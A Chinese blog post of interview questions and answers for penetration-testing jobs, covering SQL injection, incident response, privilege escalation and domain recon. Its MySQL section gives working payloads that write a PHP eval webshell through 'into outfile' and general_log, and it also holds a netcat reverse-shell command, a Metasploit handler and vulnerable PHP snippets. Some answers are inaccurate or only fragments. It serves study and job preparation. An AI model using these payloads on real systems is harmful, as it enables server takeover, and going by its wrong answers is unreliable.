渗透测试或安服等面试问题与答案

启明星辰

 

1开发做的模块有安全漏洞被你发现了,但是老板催着上线 你作为安全工程师怎么处理

加班加紧和开发一块处理安全漏洞,及时向老板汇报情况

 

2内网服务器被人种植shell,怎么做应急响应

 

常态化安全检查与安全加固

 

中间是流程

 

下层是

    

 

 

收集安全系统报警信息,根据威胁情报平台和之前误报的信息初步研判(何种安全事件),自己能解决则利用应急技能(进程分析,日志分析,样本分析)(清理处置:断网后远程连接杀进程,删文件,打补丁,查看攻击途径与操作并修复)自己解决。不能则进行上报,处理完后输出安全事件报告

 

 

3双11大流量购物平台,需要做哪些运维工作保证系统正常运转。

 

 

 

 

确保各个安全系统稳定高效经受的住大流量,加强日常安检,检查备份系统是否能及时替代,加班听从安排

 

 

 

 

 

4 mysql的sql注入拿shell有几种方式,哪几种注入可以,哪几种不可以,

 

 

 

 

条件:

1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道

2:gpc没有开启,开启了单引号被转义了,语句就不能正常执行了

3:要有file权限,默认情况下只有root

4:对目录要有写权限,一般image之类的存放突破的目录就有

 

mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_priv 配置的位置是web目录。

要了解secure_file_priv是否支持数据导出、当前数据库用户权限、获取web目录的物理路径。

AMySQLsecure_file_priv这个配置项来完成对数据导入导出的限制。如果secure_file_priv=NULLMySQL服务会禁止导入和导出操作。通过命令查看secure-file-priv`的当前值,确认是否允许导入导出以及到处文件路径。

show variables like ‘%secure_file_priv%’;

 

BMySQLroot 用户拥有所有权限,但写入Webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行 select into outfile操作。

 

C、当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。

 

 

 

 

0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

 

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP--os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#

 

 

注入原理

通过select语句查询的内容写入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容

 

 

?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#

 

 

注入原理

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容

 

 

 

?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#

 

 

 

注入原理

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容

 

 

?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

 

 

注入原理

利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容

 

 

 

 

 

 

 

3、利用log写入

 

 

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQLlog文件来获取Webshell

具体权限要求:数据库用户需具备SuperFile服务器权限、获取物理路径。

show variables like '%general%';                        #查看配置
set global general_log = on;                            #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php';    #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'                     #写入shell
set global general_log=off;                             #关闭general log模式

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5椭圆曲线加密算法涉及哪些安全问题

 

 

离散对数难题对该密码的安全性有着多么重要的作用

 

 

 

6 内网的金银票据问题

 

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  1. 介绍一下自认为有趣的挖洞经历

挖洞也有分很多种类型,一种是以渗透、一种是以找漏洞为主,如果是前者会想各种办法获取权限继而获取想要的的东西完成渗透目标,这类跟HW类似,目标各种漏洞不算,要有Shell,服务器权限才给分,这才是最接近实战渗透,跟某部门有合作的话也是属于这种打击网络犯罪获得权限、传销数据、组织架构,服务器权限、等......

如果是以挖洞为主,还需要测试每个点的细节,有完整流程,不能遗漏掉任何一个点,这是一个工作责任。



 

  1. 你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?

SQL注入、密码组合,前者防护分为几种,CDN -> Web -> 数据库 -> 主机,设置最小权限来应对。 密码组合根据个人习惯

这类问题大幅度官是想了解哪块技术你用的多,掌握的程度如何。



 

  1. php/java反序列化漏洞的原理?解决方案?

php中围绕着serialize(),unserialize()这两个函数,序列化就是把一个对象变成可以传输的字符串,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

O:7:"chybeta":1:{s:4:"test";s:3:"123";}

这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。7表示对象的名称有7个字符。"chybeta"表示对象的名称。1表示有一个值。{s:4:"test";s:3:"123";}中,s表示字符串,4表示该字符串的长度,"test"为字符串的名称,之后的类似。 当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

JAVA Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。 Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。



 

  1. 如果一台服务器被入侵后,你会如何做应急响应?
1.准备相关的工具,查后门等工具
2.初步判断事件类型,事件等级。
3.抑制范围,隔离使爱害面不继续扩大
4.查找原因,封堵攻击源。
5.业务恢复正常水平.
6.总结,报告,并修复、监控

以上是常规的回答,想知道你是否有这方面应急相关的经验,像这类问题甲方面试比较多。



 

  1. 你平时使用哪些工具?以及对应工具的特点?
  • AWVS、Masscan、BurpSuite
  • AWVS常规漏洞扫描,masscan快速查找端口,burp重复提交数据包

想知道是否有自己开发工具,如果没有你对每个安全工具有哪些独特的见解以及别人不知道的技巧用法。如:awvs如何批量扫描?burpsuite如何爆破401、脱库等、等等...



 

  1. 如果遇到waf的情况下如何进行sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一)

PHP上传,无法上传php、解析、后台没有办法拿到,只有一处点可以上传。通过Windows特性shell.php::$DATA,是一个项目管理系统

想知道你遇到WAF是放弃,还是继续研究绕过的这个能力。



 

  1. 如何判断sql注入,有哪些方法

提交错误语句是否有异常,除此之外这些显示的错误可以通过sleep,修眠语句执行5秒等,除此之外通过DNSlog判断是还有传回值



 

  1. 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
select * from news where id = '$SQL';
当程序执行访问新闻等一些操作都会执行到sql语句进行调用,如果在此调用过程中,提交了不合法的数据,而数据库无法识别则会报错。也就是一切输入都是有害的。

注入类型有6种,可以参考SQLMAP,报错、盲注、联合、时间、内联、堆叠
注入提交方式:GET、POST、Cookies、文件头
利用方式:具体看什么数据库类型,像SQLSERVER可以命令执行,MYSQL写shell有些权限大也可以执行命令但是条件是在lINUX环境下。
防范:边界,CDN -> 脚本语言过滤 -> 数据库过滤最小权限 -> 主机



 

  1. 为什么有的时候没有错误回显

没有进行错误打印或者错误屏蔽

 

  1. 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造?

在mysql中使用了gbk编码,占用2个字节,而mysql的一种特性,GBK是多字节编码,它认为两个字节就代表一个汉字,所以%df时候会和转义符\ %5c进行结合,所以单引号就逃逸了出来,当第一个字节的ascii码大于128,就可以了。



 

  1. CRLF注入的原理

CRLF注入在OWASP 里面被称为HTTP拆分攻击(HTTP Splitting)CRLF是”回车 + 换行”(\r\n)的简称,在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行



 

  1. mysql的网站注入,5.0以上和5.0以下有什么区别?
  • 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
  • 5.0以下是多用户单操作,5.0以上是多用户多操做。



 

  1. php.ini可以设置哪些安全特性
  • 禁用PHP函数
  • 允许include或打开访问远程资源



 

  1. php的%00截断的原理是什么?
因为在C语言中字符串的结束标识符%00是结束符号,而PHP就是C写的,所以继承了C的特性,所以判断为%00是结束符号不会继续往后执行
条件:PHP<5.3.29,且GPC关闭



 

  1. webshell检测,有哪些方法
  • grep、关键词、关键函数
  • 安全狗、D盾



 

  1. php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?
if ($_GET['file']){
    include $_GET['file'];
}

包含的文件设置为变量,并且无过滤导致可以调用恶意文件 还可以对远程文件包含,但需要开启allow_url_include = ON 通过测试参数的地方进行本地文件/etc/passwd等包含 如何存在漏洞而且没有回显,有可能没有显示在页面而是在网页源代码中,除些可以利用DNSlog进行获取包含的信息。从index.php文件一级级往读取 也可以利用PHP封装协议读取文件



 

  1. 说说常见的中间件解析漏洞利用方式
  • IIS 6.0

    • /xx.asp/xx.jpg "xx.asp"是文件夹名
  • IIS 7.0/7.5

    • 默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
  • Nginx

    • 版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
    • 空字节代码 xxx.jpg%00.php
  • Apache

    • 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀



 

  1. mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式?
  • mysql -> users
  • SHA1



 

  1. Windows、Linux、数据库的加固降权思路,任选其一
  • 禁用root
  • 禁止远程访问
  • 禁止写入
  • 单独帐号
  • 禁止执行system等函数



 

  1. 你使用什么工具来判断系统是否存在后门
  • Chkrootkit
  • Rkhunter



 

  1. 如何绕过CDN获取目标网站真实IP,谈谈你的思路?
  • 类似phpinfo、网站信息
  • C段、子域名
  • 历史解析记录
  • DDOS
  • zmap全网扫描识别http头
  • 网站域名管理员邮箱,注册过的域名等相关信息关联



 

  1. 如果给你一个网站,你的渗透测试思路是什么? 在获取书面授权的前提下。

其实这是一个非常大的话题,渗透大部分思路都是如此,而面试官是想听到你回答不一样的答案让人眼前一亮 如何才做到让人眼前一亮都需要看你的经验,把你实践的过程拿出来说,以及遇到什么问题如何解决,最终取得成果 渗透其它大同小异,而做为渗透者知识的储备、基础扎实、耐心、细心都是必不可少。



 

  1. 谈一谈Windows系统与Linux系统提权的思路?
  • Windows
Windows服务比较多所以方法也如此,最基本的就是Exp提权,数据库SQLServer、MYSQL UDF等、第三方软件提权。
除此之外提权的成功与否和在于信息收集也非常重要,你对这台服务器和管理员了解多少。

Linux

Linux也是类似,除了EXP或者高版本的内核无法提权之外,通过第三方软件和服务,除了提权也可以考虑把这台机器当跳版,
达到先进入内网安全防线最弱的地方寻找有用的信息,再迂回战术。

linux权限提升

  • Brief
  • 枚举脚本
  • 以root权限运行的程序
  • 用户安装的软件
  • 弱口令或者明文密码
  • 只能内部访问的服务
  • suid和guid错误配置
  • 滥用sudo权限
  • 以root权限运行的脚本文件
  • 错误的路径配置
  • 计划任务
  • 未挂载的文件系统
  • NFS共享
  • 通过键盘记录仪窃取密码
  • 其它有用的和提权相关的东西
  • 内核提权



 

  1. 列举出您所知道的所有开源组件高危漏洞(十个以上)
Tomcat
Nginx
Apache
Hadhoop
Docker
Jenkins
Zenoss
Jboss
MongoDB
Redis
GlassFish



 

  1. 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
  • nc -lvvp 7777 -e /bin/bash
  • bash是交互式,否则像useradd无法执行交互



 

  1. CMD命令行如何查询远程终端开放端口
  • tasklist /svc
  • netstat -ano



 

  1. 服务器为IIS+PHP+MySQL,发现root权限注入漏洞,讲讲你的渗透思路
  • 可以读取IIS信息,知道路径,如果像WAMMP类似构建,通过@@datadir知道数据库路径也可以猜测网站路径。
  • 或者直接写Shell



 

  1. 请写出Mysql5数据库中查询库’helloworld’中’users’表所有列名的语句

select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name' and table_schema = 'your_db_name';



 

  1. 下面这段代码存在漏洞吗?如果存在请说出存在什么漏洞并利用
http://www.exp.com/1.php  
<?php  
$s_func = $_GET['s_func'];
$info = $_GET['info'];
$s_func($info);
?>

代码执行,通过assert调用



 

  1. udf提权

MySQL可以自定义函数,通过自定义函数做到类似xp_cmdshell效果



 

  1. SQL头注入点
  • UserAgent
  • Referer
  • Cookie
  • X-FOR-IP



 

  1. php中命令执行涉及到的函数
eval()
assert()
system()
exec()
shell_exec()



 

  1. SSRF漏洞的成因 防御 绕过

模拟服务器对其它资源进行请求 IP探测,如果想漏洞利用必需要构造好Payload 禁止跳转,限制协议,内外网限制,URL限制 针对IP格式



 

  1. mysql写shell有几种方法

outfile、dumpfile、开启log写webshell



 

  1. Metasploit 打开反向监听的命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp



 

  1. 应急响应的步骤
1.准备已经编译好的工具以及取证分析等工具干净可靠放U盘
2.初步判断事件的类型,是被入侵、ddos还是其它的原因
3.首先抑制范围、影响范围,隔离使受害面不继续扩大。
4.寻找原因,封堵攻击源。
5.把业务恢复至正常水平
6.监控有无异常,报告、管理环节的自省和改进措施。



 

  1. 有哪些反向代理的工具?

reGeirg、EW、lcx、Ngrok、frp



 

  1. 有什么比较曲折的渗透经历

这个问题想知道你工作渗透到什么样的程度,只是简单的漏扫搬砖,还是有毅力坚持完成整个渗透,如:对目标不放弃,坚持一个月最终通过各种手段,曲折的过程拿下目标。



 

UpdateTime:2019.5.11

  1. 怎么查找域控

方法有很多 

1.通过DNS查询 

dig -t SRV _gc._tcp.lab.ropnop.com  

dig -t SRV _ldap._tcp.lab.ropnop.com  

dig -t SRV _kerberos._tcp.lab.ropnop.com  

dig -t SRV _kpasswd._tcp.lab.ropnop.com 

2.端口扫描 

域服务器都会开启389端口,所以可以通过扫描端口进行识别。 

3.其实很多域环境里,DNS服务器就是域控制根本不需要怎么找。 

4.各种命令 

dsquery 

net group "Domain controllers" 

nltest /DCLIST:pentest.com 

...... 

  1. PHP 作为弱类型语言,在底层它是怎么判断变量的类型的

  2. ARP 攻击的原理(讲出具体的流程),如何发现并防御 ARP 攻击

  3. 渗透大企业简单还是小站点简单,为什么


大企业目标资产较为多,攻击者只需要找到一个点,而企业安全人员要防的则一个面。 

其实我认为越小的站越难渗透,这里有很多方面不细说。 

  1. 内网如何反弹 shell,反弹的 shell 流量如何隐蔽

  2. 除了 TCPIP 协议,如何将内网数据传递出来(内网环境有着严格防御与审查)

猜你喜欢

转载自blog.csdn.net/Vdieoo/article/details/110356554